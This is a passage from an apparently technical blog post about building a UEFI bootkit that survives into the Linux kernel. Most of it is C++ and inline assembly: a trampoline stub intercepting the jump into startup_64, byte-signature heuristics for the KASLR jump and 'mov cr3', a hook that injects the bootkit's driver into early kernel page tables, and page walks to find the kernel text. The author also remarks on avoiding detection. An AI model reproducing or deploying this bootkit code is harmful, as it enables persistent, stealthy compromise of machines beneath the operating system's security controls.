</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span><span class="p">;</span> <span class="c1">// 64 bit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xa3</span><span class="p">;</span> <span class="c1">// mov [imm64], (r)ax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub_b</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">bzimage</span><span class="o">::</span><span class="n">startup_64_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span><span class="p">;</span> <span class="c1">// 64 bit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x96</span><span class="p">;</span> <span class="c1">// xchg rsi, rax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span><span class="p">;</span> <span class="c1">// 64 bit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xa3</span><span class="p">;</span> <span class="c1">// mov [imm64], (r)ax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub_b</span><span class="p">[</span><span class="mi">16</span><span class="p">])</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">bzimage</span><span class="o">::</span><span class="n">startup_64_rsi</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span><span class="p">[</span><span class="mi">24</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span><span class="p">;</span> <span class="c1">// 64 bit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x96</span><span class="p">;</span> <span class="c1">// xchg rsi, rax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">26</span><span class="p">]</span> <span class="o">=</span> <span class="n">P_REX</span> <span class="o">|</span> <span class="n">P_W_BIT</span> <span class="o">|</span> <span class="p">((</span><span class="n">reg</span> <span class="o">&amp;</span> <span class="mb">0b1000</span><span class="p">)</span> <span class="o">?</span> <span class="nl">P_B_BIT</span> <span class="p">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span><span class="p">[</span><span class="mi">27</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x90</span> <span class="o">+</span> <span class="p">(</span><span class="n">reg</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">stub_b</span><span class="p">[</span><span class="mi">28</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xff</span><span class="p">;</span> <span class="c1">// jmp
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">stub_b</span><span class="p">[</span><span class="mi">29</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x25</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub_b</span><span class="p">[</span><span class="mi">30</span><span class="p">])</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">**&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stub_b</span><span class="p">[</span><span class="mi">34</span><span class="p">])</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">      <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">enter_kernel_hook</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">__asm__</span> <span class="nf">volatile</span><span class="p">(</span><span class="s">&#34;wbinvd&#34;</span> <span class="o">:::</span> <span class="s">&#34;memory&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">stub_b</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The stub has to be allocated before executing bzImage, as after ExitBootServices the BootServices table does not exist anymore. The stub:</p>
<ul>
<li>xchg rax, reg ; jmp dst register</li>
<li>movabs [&amp;bzimage::startup_64_address], rax</li>
<li>xchg rsi, rax</li>
<li>movabs [&amp;bzimage::startup_64_rsi], rax</li>
<li>xchg rsi, rax</li>
<li>xchg rax, reg</li>
<li>jmp hooks::bzimage::enter_kernel_hook</li>
</ul>
<p>Now, how to maintain persistence at this point? Our hook will fire at the jump, and we have startup_64 function address. That is the uncompressed vmlinux entrypoint, and KASLR is set up very early there. Linux kernel (vmlinux) is mapped to a random VA in a new page table they call <code>early_top_pgt</code>, this is the initial page tables for the linux kernel containing KASLR&rsquo;d kernel VA. It also provisionally identity-maps vmlinux (but not our module) so startup_64 won&rsquo;t fault after <code>mov cr3, reg</code> as the instruction pointer still resides in vmlinux PA the moment cr3 switches to <code>early_top_pgt</code>. It then jumps to kernel KASLR&rsquo;d VA through <code>jmp *.Lcommon_startup_64(%rip)</code> <a href="https://elixir.bootlin.com/linux/v6.19.8/source/arch/x86/kernel/head_64.S#L140">in most recent kernels</a> (assembles to <code>FF 25 ?? ?? ?? ??</code>) or <code>jmp rax</code> <a href="https://elixir.bootlin.com/linux/v6.0/source/arch/x86/kernel/head_64.S#L239">in older kernels</a>. The older pattern is consistent enough, confirmed reliable up to ~4.X.X and possibly even further. So, forward from startup_64:</p>
<ul>
<li>find a <code>mov cr3, rax</code> (<code>0F 22 D8</code>)</li>
<li>walk forward a few bytes until <code>FF 25</code>; if it matches, it is the new signature</li>
<li>otherwise, if the pattern <code>48 B8 ?? ?? ?? ?? ?? ?? ?? ?? FF E0</code> is found earlier it is the old signature. <code>48 B8</code> is a <code>mov rax, imm64</code>, and <code>FF E0</code> <code>jmp rax</code></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// https://elixir.bootlin.com/linux/v6.19.8/source/arch/x86/kernel/head_64.S#L140
</span></span></span><span class="line"><span class="cl"><span class="c1">// some old versions do: mov cr3, rax; .*; movq $1f, %rax; jmp *%rax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">uintptr_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">find_startup_64_va_jmp</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">code</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="o">*</span><span class="n">mov_cr3_address</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                            <span class="kt">bool</span> <span class="o">*</span><span class="n">is_old_pattern</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">pos</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">code</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">mov_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">mov_cr3_found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">code</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">mov_cr3_address</span> <span class="o">==</span> <span class="k">nullptr</span> <span class="o">||</span> <span class="n">is_old_pattern</span> <span class="o">==</span> <span class="k">nullptr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">512</span><span class="p">;</span> <span class="n">pos</span><span class="o">++</span><span class="p">,</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// mov cr3, rax
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x0F\x22\xD8</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">mov_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">pos</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">mov_cr3_found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">mov_cr3_found</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">pos</span><span class="o">++</span><span class="p">,</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\xFF\x25</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">is_old_pattern</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">mov_cr3_address</span> <span class="o">=</span> <span class="n">mov_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">pos</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// old pattern
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">pos</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x48\xB8</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pos</span><span class="p">[</span><span class="mi">10</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\xFF\xE0</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">is_old_pattern</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="o">*</span><span class="n">mov_cr3_address</span> <span class="o">=</span> <span class="n">mov_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pos</span><span class="p">[</span><span class="mi">10</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>In <code>enter_kernel_hook</code>, locate the <code>jmp</code> and <code>mov cr3</code> instructions and hook the <code>early_page_table</code> loading to inject entries in this new page table, survive KASLR and do early linux-specific bootkit setup.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">enter_kernel_hook</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">new_vma_jmp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">mov_cr3_addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">is_old</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// at this point ExitBootServices was already called
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">g</span><span class="o">::</span><span class="n">state</span> <span class="o">|=</span> <span class="n">POST_EXIT_BOOT_SERVICES</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">jmp_unhook</span><span class="p">(</span><span class="o">&amp;</span><span class="n">enter_kernel_hook_context</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">kaslr_mov_hook_ctx</span><span class="p">.</span><span class="n">hooked</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">new_vma_jmp</span> <span class="o">=</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">find_startup_64_va_jmp</span><span class="p">(</span><span class="n">bzimage</span><span class="o">::</span><span class="n">startup_64_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">mov_cr3_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">is_old</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">new_vma_jmp</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">jmp_target</span> <span class="o">=</span> <span class="n">new_vma_jmp</span> <span class="o">+</span> <span class="mi">6</span> <span class="o">+</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">new_vma_jmp</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">common_startup_64</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">jmp_target</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Hooking early CR3 mov at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">mov_cr3_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">jmp_hook</span><span class="p">(</span><span class="n">mov_cr3_addr</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">kaslr_cr3_mov</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">             <span class="o">&amp;</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">kaslr_mov_hook_ctx</span><span class="p">,</span> <span class="n">JMP_MODE_BEST_SUITABLE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;KASLR jmp not found</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">__asm__</span> <span class="nf">volatile</span><span class="p">(</span><span class="s">&#34;jmp *%%rax</span><span class="se">\n\t</span><span class="s">&#34;</span> <span class="o">:</span> <span class="o">:</span> <span class="s">&#34;S&#34;</span><span class="p">(</span><span class="n">startup_64_rsi</span><span class="p">),</span> <span class="s">&#34;a&#34;</span><span class="p">(</span><span class="n">startup_64_addr</span><span class="p">)</span> <span class="o">:</span> <span class="s">&#34;memory&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>jmp *.Lcommon_startup_64(%rip)</code> may not exist and the <code>is_old</code> boolean is set accordingly. We use the indirect jmp destination to get a pointer to a point inside the chosen VA (KASLR&rsquo;d) to facilitate finding <code>stext</code> and <code>etext</code>. Otherwise, we brute-force the entire <code>__START_KERNEL_map</code> range, that is, the whole range the KASLR may choose.</p>
<h2 id="kernel-initialization-hooking">Kernel initialization hooking</h2>
<p>startup_64 sets up KASLR and kernel VA in the first kernel page tables <code>early_top_pgt</code>. In every version I could find, this loading is done via <code>mov cr3, rax</code>, always using <code>rax</code>. As aforementioned,<code>early_top_pgt</code> has vmlinux identity mapped but not our UEFI module, so we hook this mov to identity-map ourselves there and load it from our code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">NAKED</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">kaslr_cr3_mov</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">__asm__</span> <span class="nf">volatile</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;movq %%rax, %0</span><span class="se">\n\t</span><span class="s">&#34;</span>  <span class="c1">// rax = early_top_pgt PA
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="s">&#34;movq %%rsp, %1</span><span class="se">\n\t</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;movq %%rbp, %2</span><span class="se">\n\t</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;movq %%rsi, %3</span><span class="se">\n\t</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;movq %%r15, %4</span><span class="se">\n\t</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="s">&#34;jmp %c5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="o">:</span> <span class="s">&#34;=m&#34;</span><span class="p">(</span><span class="n">startup_64_original_rax</span><span class="p">),</span> <span class="s">&#34;=m&#34;</span><span class="p">(</span><span class="n">startup_64_original_rsp</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">      <span class="s">&#34;=m&#34;</span><span class="p">(</span><span class="n">startup_64_original_rbp</span><span class="p">),</span> <span class="s">&#34;=m&#34;</span><span class="p">(</span><span class="n">startup_64_original_rsi</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">      <span class="s">&#34;=m&#34;</span><span class="p">(</span><span class="n">startup_64_original_r15</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="o">:</span> <span class="s">&#34;i&#34;</span><span class="p">(</span><span class="n">__kaslr_cr3_mov_hook</span><span class="p">)</span> <span class="o">:</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Nearly all bootkit setup logic can be done from within this hook. <code>early_top_pgt</code> <a href="https://elixir.bootlin.com/linux/v6.14.8/source/arch/x86/kernel/head64.c#L280">gets its identity-mappings removed in <code>reset_early_page_tables</code></a> and <a href="https://elixir.bootlin.com/linux/v7.2/source/arch/x86/kernel/head64.c#L289">the only portion of <code>early_top_pgt</code> that gets copied to the permanent page tables <code>init_top_pgt</code>/swapper is pgd 511</a> and our UEFI mapping is in low VA. So identity-mapping ourselves there isn&rsquo;t a detection vector by itself. The mapping is gone prior to any security subsystem initialization.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">early_top_pgt</span> <span class="o">=</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">startup_64_original_rax</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">map_range_ex</span><span class="p">(</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">early_top_pgt</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                      <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">PS_4K</span><span class="p">),</span> <span class="n">ENTRY_RW</span><span class="p">,</span> <span class="nb">false</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to identity map DXE Driver in early_top_pgt</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>But as we&rsquo;re manipulating page tables we need to setup NXE bit if supported by the CPU, otherwise NX pages fault on access because NX bit is preserved when EFER NXE is 0, we don&rsquo;t want that</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">nxe_supported</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">  <span class="n">nxe_enable</span><span class="p">(</span><span class="nb">true</span><span class="p">);</span>
</span></span></code></pre></div><p>We need <code>stext</code> and <code>etext</code>. <code>common_startup_64</code> is a pointer inside the KASLR&rsquo;d vmlinux, obtained earlier from the <code>FF 25</code> displacement in <code>startup_64</code>. Walk backwards from it page by page until an unmapped page for <code>stext</code> and forward until the first unmapped page for <code>etext</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">vmlinux</span><span class="o">::</span><span class="n">base</span> <span class="o">=</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">retroactive_find_map_base</span><span class="p">(</span><span class="o">*</span><span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">common_startup_64</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">vmlinux</span><span class="o">::</span><span class="n">end</span>  <span class="o">=</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">forward_find_map_end</span><span class="p">(</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">base</span><span class="p">);</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">retroactive_find_map_base</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">va</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">previous_page</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">previous_page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">addr</span> <span class="o">=</span> <span class="n">va</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">page_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">addr</span> <span class="o">&gt;=</span> <span class="n">page_size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">previous_page</span> <span class="o">=</span> <span class="n">addr</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">previous_page</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">previous_page_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">previous_page_size</span> <span class="o">&gt;</span> <span class="n">page_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">page_size</span> <span class="o">=</span> <span class="n">previous_page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">addr</span> <span class="o">=</span> <span class="n">previous_page</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">page_size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">forward_find_map_end</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">va</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">page_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
